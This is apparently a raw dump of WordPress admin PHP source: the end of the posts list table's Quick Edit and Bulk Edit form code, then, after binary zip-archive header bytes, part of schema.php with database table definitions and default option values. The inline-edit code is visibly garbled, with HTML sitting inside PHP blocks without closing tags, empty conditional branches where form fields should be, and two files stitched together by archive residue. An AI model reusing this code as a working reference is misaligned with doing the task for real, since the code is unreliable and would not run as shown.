						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
						esc_url( $preview_link ),
						/* translators: %s: post title */
						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ),
						__( 'Preview' )
					);
				}
			} elseif ( 'trash' != $post->post_status ) {
				$actions['view'] = sprintf(
					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
					get_permalink( $post->ID ),
					/* translators: %s: post title */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ),
					__( 'View' )
				);
			}
		}

if ( 'wp_block' === $post->post_type ) {
			$actions['export'] = sprintf(
				'<button type="button" class="wp-list-reusable-blocks__export button-link" data-id="%s" aria-label="%s">%s</button>',
				$post->ID,
				/* translators: %s: post title */
				esc_attr( sprintf( __( 'Export &#8220;%s&#8221; as JSON' ), $title ) ),
				__( 'Export as JSON' )
			);
		}

if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
			 * Filters the array of row action links on the Pages list table.
			 *
			 * The filter is evaluated only for hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param array $actions An array of row action links. Defaults are
			 *                         'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                         'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post $post The post object.
			 */
			$actions = apply_filters( 'page_row_actions', $actions, $post );
		} else {

/**
			 * Filters the array of row action links on the Posts list table.
			 *
			 * The filter is evaluated only for non-hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param array $actions An array of row action links. Defaults are
			 *                         'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                         'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post $post The post object.
			 */
			$actions = apply_filters( 'post_row_actions', $actions, $post );
		}

return $this->row_actions( $actions );
	}

/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function inline_edit() {
		global $mode;

$screen = $this->screen;

$post = get_default_post_to_edit( $screen->post_type );
		$post_type_object = get_post_type_object( $screen->post_type );

$taxonomy_names = get_object_taxonomies( $screen->post_type );
		$hierarchical_taxonomies = array();
		$flat_taxonomies = array();
		foreach ( $taxonomy_names as $taxonomy_name ) {

$taxonomy = get_taxonomy( $taxonomy_name );

$show_in_quick_edit = $taxonomy->show_in_quick_edit;

/**
			 * Filters whether the current taxonomy should be shown in the Quick Edit panel.
			 *
			 * @since 4.2.0
			 *
			 * @param bool   $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
			 * @param string $taxonomy_name      Taxonomy name.
			 * @param string $post_type          Post type of current Quick Edit post.
			 */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
				continue;
			}

if ( $taxonomy->hierarchical )
				$hierarchical_taxonomies[] = $taxonomy;
			else
				$flat_taxonomies[] = $taxonomy;
		}

$m = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
		$can_publish = current_user_can( $post_type_object->cap->publish_posts );
		$core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true );

<form method="get"><table style="display: none"><tbody id="inlineedit">
		<?php
		$hclass = count( $hierarchical_taxonomies ) ? 'post' : 'page';
		$inline_edit_classes = "inline-edit-row inline-edit-row-$hclass";
		$bulk_edit_classes   = "bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}";
		$quick_edit_classes  = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";

$bulk = 0;
		while ( $bulk < 2 ) { ?>

<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="<?php echo $inline_edit_classes . ' ';
			echo $bulk ? $bulk_edit_classes : $quick_edit_classes;
		?>" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">

<fieldset class="inline-edit-col-left">
			<legend class="inline-edit-legend"><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></legend>
			<div class="inline-edit-col">
	<?php

if ( post_type_supports( $screen->post_type, 'title' ) ) :
		if ( $bulk ) : ?>
			<div id="bulk-title-div">
				<div id="bulk-titles"></div>
			</div>

<?php else : // $bulk ?>

<?php if ( is_post_type_viewable( $screen->post_type ) ) : // is_post_type_viewable check ?>

<?php
	endif; // is_post_type_viewable check
	endif; // $bulk
	endif; // post_type_supports title
			?>

<?php if ( !$bulk ) : ?>
			<fieldset class="inline-edit-date">
			<legend><span class="title"><?php _e( 'Date' ); ?></span></legend>
				<?php touch_time( 1, 1, 0, 1 ); ?>
			</fieldset>
			<br class="clear" />
	<?php endif; // $bulk

if ( post_type_supports( $screen->post_type, 'author' ) ) :
			$authors_dropdown = '';

if ( current_user_can( $post_type_object->cap->edit_others_posts ) ) :
				$users_opt = array(
					'hide_if_only_one_author' => false,
					'who' => 'authors',
					'name' => 'post_author',
					'class'=> 'authors',
					'multi' => 1,
					'echo' => 0,
					'show' => 'display_name_with_login',
				);
				if ( $bulk )
					$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );

if ( $authors = wp_dropdown_users( $users_opt ) ) :
					$authors_dropdown  = '<label class="inline-edit-author">';
					$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
					$authors_dropdown .= $authors;
					$authors_dropdown .= '</label>';
				endif;
			endif; // authors
	?>

<?php if ( !$bulk ) echo $authors_dropdown;
	endif; // post_type_supports author

if ( !$bulk && $can_publish ) :
	?>

<?php endif; ?>

</div></fieldset>

<?php if ( count( $hierarchical_taxonomies ) && !$bulk ) : ?>

<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>

<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
			<input type="hidden" name="<?php echo ( $taxonomy->name === 'category' ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
			<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name )?>-checklist">
				<?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ) ?>
			</ul>

<?php endforeach; //$hierarchical_taxonomies as $taxonomy ?>

</div></fieldset>

<?php endif; // count( $hierarchical_taxonomies ) && !$bulk ?>

<?php
		if ( post_type_supports( $screen->post_type, 'author' ) && $bulk )
			echo $authors_dropdown;

if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) :

if ( $post_type_object->hierarchical ) :
		?>
			<label>
				<span class="title"><?php _e( 'Parent' ); ?></span>
	<?php
		$dropdown_args = array(
			'post_type'         => $post_type_object->name,
			'selected'          => $post->post_parent,
			'name'              => 'post_parent',
			'show_option_none'  => __( 'Main Page (no parent)' ),
			'option_none_value' => 0,
			'sort_column'       => 'menu_order, post_title',
		);

if ( $bulk )
			$dropdown_args['show_option_no_change'] =  __( '&mdash; No Change &mdash;' );

/**
		 * Filters the arguments used to generate the Quick Edit page-parent drop-down.
		 *
		 * @since 2.7.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array $dropdown_args An array of arguments.
		 */
		$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args );

wp_dropdown_pages( $dropdown_args );
	?>
			</label>

<?php
			endif; // hierarchical

if ( !$bulk ) : ?>

<label>
				<span class="title"><?php _e( 'Order' ); ?></span>
				<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span>
			</label>

<?php
			endif; // !$bulk
		endif; // page-attributes
	?>

<?php if ( 0 < count( get_page_templates( null, $screen->post_type ) ) ) : ?>
		<label>
			<span class="title"><?php _e( 'Template' ); ?></span>
			<select name="page_template">
<?php	if ( $bulk ) : ?>
				<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
<?php	endif; // $bulk ?>
                <?php
				/** This filter is documented in wp-admin/includes/meta-boxes.php */
				$default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'quick-edit' );
                ?>
				<option value="default"><?php echo esc_html( $default_title ); ?></option>
				<?php page_template_dropdown( '', $screen->post_type ) ?>
			</select>
		</label>
	<?php endif; ?>

<?php if ( count( $flat_taxonomies ) && !$bulk ) : ?>

<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>
		<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) :
			$taxonomy_name = esc_attr( $taxonomy->name );

?>
			<label class="inline-edit-tags">
				<span class="title"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
				<textarea data-wp-taxonomy="<?php echo $taxonomy_name; ?>" cols="22" rows="1" name="tax_input[<?php echo $taxonomy_name; ?>]" class="tax_input_<?php echo $taxonomy_name; ?>"></textarea>
			</label>
		<?php endif; ?>

<?php endforeach; //$flat_taxonomies as $taxonomy ?>

<?php endif; // count( $flat_taxonomies ) && !$bulk  ?>

<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) :
		if ( $bulk ) : ?>

<div class="inline-edit-group wp-clearfix">
		<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
			<label class="alignleft">
				<span class="title"><?php _e( 'Comments' ); ?></span>
				<select name="comment_status">
					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
					<option value="open"><?php _e( 'Allow' ); ?></option>
					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
				</select>
			</label>
		<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
			<label class="alignright">
				<span class="title"><?php _e( 'Pings' ); ?></span>
				<select name="ping_status">
					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
					<option value="open"><?php _e( 'Allow' ); ?></option>
					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
				</select>
			</label>
		<?php endif; ?>
			</div>

<?php else : // $bulk ?>

<div class="inline-edit-group wp-clearfix">
			<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
				<label class="alignleft">
					<input type="checkbox" name="comment_status" value="open" />
					<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
				</label>
			<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
				<label class="alignleft">
					<input type="checkbox" name="ping_status" value="open" />
					<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
				</label>
			<?php endif; ?>
			</div>

<?php endif; // $bulk
	endif; // post_type_supports comments or pings ?>

<?php if ( 'post' === $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>

<?php	if ( $bulk ) : ?>

<?php	else : // $bulk ?>

<?php	endif; // $bulk ?>

<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_cap' ) ?>

</div>

<?php

if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) {
		$post_formats = get_theme_support( 'post-formats' );

?>
		<label class="alignleft">
		<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
		<select name="post_format">
			<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
			<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
			<?php
			if ( is_array( $post_formats[0] ) ) {
				foreach ( $post_formats[0] as $format ) {
					?>
					<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
					<?php
				}
			}
			?>
		</select></label>
	<?php

}

</div></fieldset>

<?php
		list( $columns ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			if ( isset( $core_columns[$column_name] ) )
				continue;

if ( $bulk ) {

/**
				 * Fires once for each column in Bulk Edit mode.
				 *
				 * @since 2.7.0
				 *
				 * @param string  $column_name Name of the column to edit.
				 * @param WP_Post $post_type   The post type slug.
				 */
				do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
			} else {

/**
				 * Fires once for each column in Quick Edit mode.
				 *
				 * @since 2.7.0
				 *
				 * @param string $column_name Name of the column to edit.
				 * @param string $post_type   The post type slug, or current screen name if this is a taxonomy list table.
				 * @param string taxonomy     The taxonomy name, if any.
				 */
				do_action( 'quick_edit_custom_box', $column_name, $screen->post_type, '' );
			}

}
	?>
		<div class="submit inline-edit-save">
			<button type="button" class="button cancel alignleft"><?php _e( 'Cancel' ); ?></button>
			<?php if ( ! $bulk ) {
				wp_nonce_field( 'inlineeditnonce', '_inline_edit', false );
				?>
				<button type="button" class="button button-primary save alignright"><?php _e( 'Update' ); ?></button>
				<span class="spinner"></span>
			<?php } else {
				submit_button( __( 'Update' ), 'primary alignright', 'bulk_edit', false );
			} ?>
			<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
			<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
			<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) { ?>
				<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
			<?php } ?>
			<br class="clear" />
			<div class="notice notice-error notice-alt inline hidden">
				<p class="error"></p>
			</div>
		</div>
		</td></tr>
	<?php
		$bulk++;
		}
?>
		</tbody></table></form>
<?php
	}
}
PK�������!�xa�l����������includes/schema.phpnu��[�����������<?php
/**
 * WordPress Administration Scheme API
 *
 * Here we keep the DB structure and option values.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Declare these as global in case schema.php is included from a function.
 *
 * @global wpdb   $wpdb
 * @global array  $wp_queries
 * @global string $charset_collate
 */
global $wpdb, $wp_queries, $charset_collate;

/**
 * The database character collate.
 */
$charset_collate = $wpdb->get_charset_collate();

/**
 * Retrieve the SQL for creating database tables.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
 * @param int $blog_id Optional. The site ID for which to retrieve SQL. Default is the current site ID.
 * @return string The SQL needed to create the requested tables.
 */
function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
	global $wpdb;

$charset_collate = $wpdb->get_charset_collate();

if ( $blog_id && $blog_id != $wpdb->blogid )
		$old_blog_id = $wpdb->set_blog_id( $blog_id );

// Engage multisite if in the middle of turning it on from network.php.
	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );

/*
	 * Indexes have a maximum size of 767 bytes. Historically, we haven't need to be concerned about that.
	 * As of 4.2, however, we moved to utf8mb4, which uses 4 bytes per character. This means that an index which
	 * used to have room for floor(767/3) = 255 characters, now only has room for floor(767/4) = 191 characters.
	 */
	$max_index_length = 191;

// Blog specific tables.
	$blog_tables = "CREATE TABLE $wpdb->termmeta (
  meta_id bigint(20) unsigned NOT NULL auto_increment,
  term_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY term_id (term_id),
  KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->terms (
 term_id bigint(20) unsigned NOT NULL auto_increment,
 name varchar(200) NOT NULL default '',
 slug varchar(200) NOT NULL default '',
 term_group bigint(10) NOT NULL default 0,
 PRIMARY KEY  (term_id),
 KEY slug (slug($max_index_length)),
 KEY name (name($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->term_taxonomy (
 term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
 term_id bigint(20) unsigned NOT NULL default 0,
 taxonomy varchar(32) NOT NULL default '',
 description longtext NOT NULL,
 parent bigint(20) unsigned NOT NULL default 0,
 count bigint(20) NOT NULL default 0,
 PRIMARY KEY  (term_taxonomy_id),
 UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
 KEY taxonomy (taxonomy)
) $charset_collate;
CREATE TABLE $wpdb->term_relationships (
 object_id bigint(20) unsigned NOT NULL default 0,
 term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
 term_order int(11) NOT NULL default 0,
 PRIMARY KEY  (object_id,term_taxonomy_id),
 KEY term_taxonomy_id (term_taxonomy_id)
) $charset_collate;
CREATE TABLE $wpdb->commentmeta (
  meta_id bigint(20) unsigned NOT NULL auto_increment,
  comment_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY comment_id (comment_id),
  KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->comments (
  comment_ID bigint(20) unsigned NOT NULL auto_increment,
  comment_post_ID bigint(20) unsigned NOT NULL default '0',
  comment_author tinytext NOT NULL,
  comment_author_email varchar(100) NOT NULL default '',
  comment_author_url varchar(200) NOT NULL default '',
  comment_author_IP varchar(100) NOT NULL default '',
  comment_date datetime NOT NULL default '0000-00-00 00:00:00',
  comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  comment_content text NOT NULL,
  comment_karma int(11) NOT NULL default '0',
  comment_approved varchar(20) NOT NULL default '1',
  comment_agent varchar(255) NOT NULL default '',
  comment_type varchar(20) NOT NULL default '',
  comment_parent bigint(20) unsigned NOT NULL default '0',
  user_id bigint(20) unsigned NOT NULL default '0',
  PRIMARY KEY  (comment_ID),
  KEY comment_post_ID (comment_post_ID),
  KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
  KEY comment_date_gmt (comment_date_gmt),
  KEY comment_parent (comment_parent),
  KEY comment_author_email (comment_author_email(10))
) $charset_collate;
CREATE TABLE $wpdb->links (
  link_id bigint(20) unsigned NOT NULL auto_increment,
  link_url varchar(255) NOT NULL default '',
  link_name varchar(255) NOT NULL default '',
  link_image varchar(255) NOT NULL default '',
  link_target varchar(25) NOT NULL default '',
  link_description varchar(255) NOT NULL default '',
  link_visible varchar(20) NOT NULL default 'Y',
  link_owner bigint(20) unsigned NOT NULL default '1',
  link_rating int(11) NOT NULL default '0',
  link_updated datetime NOT NULL default '0000-00-00 00:00:00',
  link_rel varchar(255) NOT NULL default '',
  link_notes mediumtext NOT NULL,
  link_rss varchar(255) NOT NULL default '',
  PRIMARY KEY  (link_id),
  KEY link_visible (link_visible)
) $charset_collate;
CREATE TABLE $wpdb->options (
  option_id bigint(20) unsigned NOT NULL auto_increment,
  option_name varchar(191) NOT NULL default '',
  option_value longtext NOT NULL,
  autoload varchar(20) NOT NULL default 'yes',
  PRIMARY KEY  (option_id),
  UNIQUE KEY option_name (option_name)
) $charset_collate;
CREATE TABLE $wpdb->postmeta (
  meta_id bigint(20) unsigned NOT NULL auto_increment,
  post_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY post_id (post_id),
  KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->posts (
  ID bigint(20) unsigned NOT NULL auto_increment,
  post_author bigint(20) unsigned NOT NULL default '0',
  post_date datetime NOT NULL default '0000-00-00 00:00:00',
  post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  post_content longtext NOT NULL,
  post_title text NOT NULL,
  post_excerpt text NOT NULL,
  post_status varchar(20) NOT NULL default 'publish',
  comment_status varchar(20) NOT NULL default 'open',
  ping_status varchar(20) NOT NULL default 'open',
  post_password varchar(255) NOT NULL default '',
  post_name varchar(200) NOT NULL default '',
  to_ping text NOT NULL,
  pinged text NOT NULL,
  post_modified datetime NOT NULL default '0000-00-00 00:00:00',
  post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
  post_content_filtered longtext NOT NULL,
  post_parent bigint(20) unsigned NOT NULL default '0',
  guid varchar(255) NOT NULL default '',
  menu_order int(11) NOT NULL default '0',
  post_type varchar(20) NOT NULL default 'post',
  post_mime_type varchar(100) NOT NULL default '',
  comment_count bigint(20) NOT NULL default '0',
  PRIMARY KEY  (ID),
  KEY post_name (post_name($max_index_length)),
  KEY type_status_date (post_type,post_status,post_date,ID),
  KEY post_parent (post_parent),
  KEY post_author (post_author)
) $charset_collate;\n";

// Single site users table. The multisite flavor of the users table is handled below.
	$users_single_table = "CREATE TABLE $wpdb->users (
  ID bigint(20) unsigned NOT NULL auto_increment,
  user_login varchar(60) NOT NULL default '',
  user_pass varchar(255) NOT NULL default '',
  user_nicename varchar(50) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  user_url varchar(100) NOT NULL default '',
  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
  user_activation_key varchar(255) NOT NULL default '',
  user_status int(11) NOT NULL default '0',
  display_name varchar(250) NOT NULL default '',
  PRIMARY KEY  (ID),
  KEY user_login_key (user_login),
  KEY user_nicename (user_nicename),
  KEY user_email (user_email)
) $charset_collate;\n";

// Multisite users table
	$users_multi_table = "CREATE TABLE $wpdb->users (
  ID bigint(20) unsigned NOT NULL auto_increment,
  user_login varchar(60) NOT NULL default '',
  user_pass varchar(255) NOT NULL default '',
  user_nicename varchar(50) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  user_url varchar(100) NOT NULL default '',
  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
  user_activation_key varchar(255) NOT NULL default '',
  user_status int(11) NOT NULL default '0',
  display_name varchar(250) NOT NULL default '',
  spam tinyint(2) NOT NULL default '0',
  deleted tinyint(2) NOT NULL default '0',
  PRIMARY KEY  (ID),
  KEY user_login_key (user_login),
  KEY user_nicename (user_nicename),
  KEY user_email (user_email)
) $charset_collate;\n";

// Usermeta.
	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
  umeta_id bigint(20) unsigned NOT NULL auto_increment,
  user_id bigint(20) unsigned NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (umeta_id),
  KEY user_id (user_id),
  KEY meta_key (meta_key($max_index_length))
) $charset_collate;\n";

// Global tables
	if ( $is_multisite )
		$global_tables = $users_multi_table . $usermeta_table;
	else
		$global_tables = $users_single_table . $usermeta_table;

// Multisite global tables.
	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
  blog_id bigint(20) NOT NULL auto_increment,
  site_id bigint(20) NOT NULL default '0',
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  registered datetime NOT NULL default '0000-00-00 00:00:00',
  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
  public tinyint(2) NOT NULL default '1',
  archived tinyint(2) NOT NULL default '0',
  mature tinyint(2) NOT NULL default '0',
  spam tinyint(2) NOT NULL default '0',
  deleted tinyint(2) NOT NULL default '0',
  lang_id int(11) NOT NULL default '0',
  PRIMARY KEY  (blog_id),
  KEY domain (domain(50),path(5)),
  KEY lang_id (lang_id)
) $charset_collate;
CREATE TABLE $wpdb->blog_versions (
  blog_id bigint(20) NOT NULL default '0',
  db_version varchar(20) NOT NULL default '',
  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY  (blog_id),
  KEY db_version (db_version)
) $charset_collate;
CREATE TABLE $wpdb->registration_log (
  ID bigint(20) NOT NULL auto_increment,
  email varchar(255) NOT NULL default '',
  IP varchar(30) NOT NULL default '',
  blog_id bigint(20) NOT NULL default '0',
  date_registered datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY  (ID),
  KEY IP (IP)
) $charset_collate;
CREATE TABLE $wpdb->site (
  id bigint(20) NOT NULL auto_increment,
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  PRIMARY KEY  (id),
  KEY domain (domain(140),path(51))
) $charset_collate;
CREATE TABLE $wpdb->sitemeta (
  meta_id bigint(20) NOT NULL auto_increment,
  site_id bigint(20) NOT NULL default '0',
  meta_key varchar(255) default NULL,
  meta_value longtext,
  PRIMARY KEY  (meta_id),
  KEY meta_key (meta_key($max_index_length)),
  KEY site_id (site_id)
) $charset_collate;
CREATE TABLE $wpdb->signups (
  signup_id bigint(20) NOT NULL auto_increment,
  domain varchar(200) NOT NULL default '',
  path varchar(100) NOT NULL default '',
  title longtext NOT NULL,
  user_login varchar(60) NOT NULL default '',
  user_email varchar(100) NOT NULL default '',
  registered datetime NOT NULL default '0000-00-00 00:00:00',
  activated datetime NOT NULL default '0000-00-00 00:00:00',
  active tinyint(1) NOT NULL default '0',
  activation_key varchar(50) NOT NULL default '',
  meta longtext,
  PRIMARY KEY  (signup_id),
  KEY activation_key (activation_key),
  KEY user_email (user_email),
  KEY user_login_email (user_login,user_email),
  KEY domain_path (domain(140),path(51))
) $charset_collate;";

switch ( $scope ) {
		case 'blog' :
			$queries = $blog_tables;
			break;
		case 'global' :
			$queries = $global_tables;
			if ( $is_multisite )
				$queries .= $ms_global_tables;
			break;
		case 'ms_global' :
			$queries = $ms_global_tables;
			break;
		case 'all' :
		default:
			$queries = $global_tables . $blog_tables;
			if ( $is_multisite )
				$queries .= $ms_global_tables;
			break;
	}

if ( isset( $old_blog_id ) )
		$wpdb->set_blog_id( $old_blog_id );

return $queries;
}

// Populate for back compat.
$wp_queries = wp_get_db_schema( 'all' );

/**
 * Create WordPress options and set the default values.
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 * @global int  $wp_db_version
 * @global int  $wp_current_db_version
 */
function populate_options() {
	global $wpdb, $wp_db_version, $wp_current_db_version;

$guessurl = wp_guess_url();
	/**
	 * Fires before creating WordPress options and populating their default values.
	 *
	 * @since 2.6.0
	 */
	do_action( 'populate_options' );

if ( ini_get('safe_mode') ) {
		// Safe mode can break mkdir() so use a flat structure by default.
		$uploads_use_yearmonth_folders = 0;
	} else {
		$uploads_use_yearmonth_folders = 1;
	}

// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
	$stylesheet = $template = WP_DEFAULT_THEME;
	$theme = wp_get_theme( WP_DEFAULT_THEME );
	if ( ! $theme->exists() ) {
		$theme = WP_Theme::get_core_default_theme();
	}

// If we can't find a core default theme, WP_DEFAULT_THEME is the best we can do.
	if ( $theme ) {
		$stylesheet = $theme->get_stylesheet();
		$template   = $theme->get_template();
	}

$timezone_string = '';
	$gmt_offset = 0;
	/* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
	   or a valid timezone string (America/New_York). See https://secure.php.net/manual/en/timezones.php
	   for all timezone strings supported by PHP.
	*/
	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
	if ( is_numeric( $offset_or_tz ) )
		$gmt_offset = $offset_or_tz;
	elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list() ) )
			$timezone_string = $offset_or_tz;

$options = array(
	'siteurl' => $guessurl,
	'home' => $guessurl,
	'blogname' => __('My Site'),
	/* translators: site tagline */
	'blogdescription' => __('Just another WordPress site'),
	'users_can_register' => 0,
	'admin_email' => 'you@example.com',
	/* translators: default start of the week. 0 = Sunday, 1 = Monday */
	'start_of_week' => _x( '1', 'start of week' ),
	'use_balanceTags' => 0,
	'use_smilies' => 1,
	'require_name_email' => 1,
	'comments_notify' => 1,
	'posts_per_rss' => 10,
	'rss_use_excerpt' => 0,
	'mailserver_url' => 'mail.example.com',
	'mailserver_login' => 'login@example.com',
	'mailserver_pass' => 'password',
	'mailserver_port' => 110,
	'default_category' => 1,
	'default_comment_status' => 'open',
	'default_ping_status' => 'open',
	'default_pingback_flag' => 1,
	'posts_per_page' => 10,
	/* translators: default date format, see https://secure.php.net/date */
	'date_format' => __('F j, Y'),
	/* translators: default time format, see https://secure.php.net/date */
	'time_format' => __('g:i a'),
	/* translators: links last updated date format, see https://secure.php.net/date */
	'links_updated_date_format' => __('F j, Y g:i a'),
	'comment_moderation' => 0,
	'moderation_notify' => 1,
	'permalink_structure' => '',
	'rewrite_rules' => '',
	'hack_file' => 0,
	'blog_charset' => 'UTF-8',
	'moderation_keys' => '',
	'active_plugins' => array(),
	'category_base' => '',
	'ping_sites' => 'http://rpc.pingomatic.com/',
	'comment_max_links' => 2,
	'gmt_offset' => $gmt_offset,

// 1.5
	'default_email_category' => 1,
	'recently_edited' => '',
	'template' => $template,
	'stylesheet' => $stylesheet,
	'comment_whitelist' => 1,
	'blacklist_keys' => '',
	'comment_registration' => 0,
	'html_type' => 'text/html',

// 1.5.1
	'use_trackback' => 0,

// 2.0
	'default_role' => 'subscriber',
	'db_version' => $wp_db_version,

// 2.0.1
	'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders,
	'upload_path' => '',

// 2.1
	'blog_public' => '1',
	'default_link_category' => 2,
	'show_on_front' => 'posts',

// 2.2
	'tag_base' => '',

// 2.5
	'show_avatars' => '1',
	'avatar_rating' => 'G',
	'upload_url_path' => '',
	'thumbnail_size_w' => 150,
	'thumbnail_size_h' => 150,
	'thumbnail_crop' => 1,
	'medium_size_w' => 300,
	'medium_size_h' => 300,

// 2.6
	'avatar_default' => 'mystery',

// 2.7
	'large_size_w' => 1024,
	'large_size_h' => 1024,
	'image_default_link_type' => 'none',
	'image_default_size' => '',
	'image_default_align' => '',
	'close_comments_for_old_posts' => 0,
	'close_comments_days_old' => 14,
	'thread_comments' => 1,
	'thread_comments_depth' => 5,
	'page_comments' => 0,
	'comments_per_page' => 50,
	'default_comments_page' => 'newest',
	'comment_order' => 'asc',
	'sticky_posts' => array(),
	'widget_categories' => array(),
	'widget_text' => array(),
	'widget_rss' => array(),
	'uninstall_plugins' => array(),

// 2.8
	'timezone_string' => $timezone_string,

// 3.0
	'page_for_posts' => 0,
	'page_on_front' => 0,

// 3.1
	'default_post_format' => 0,

// 3.5
	'link_manager_enabled' => 0,

// 4.3.0
	'finished_splitting_shared_terms' => 1,
	'site_icon' => 0,

// 4.4.0
	'medium_large_size_w' => 768,
	'medium_large_size_h' => 0,

// 4.9.6
		'wp_page_for_privacy_policy'      => 0,

// 4.9.8
		'show_comments_cookies_opt_in'    => 0,
	);

// 3.3
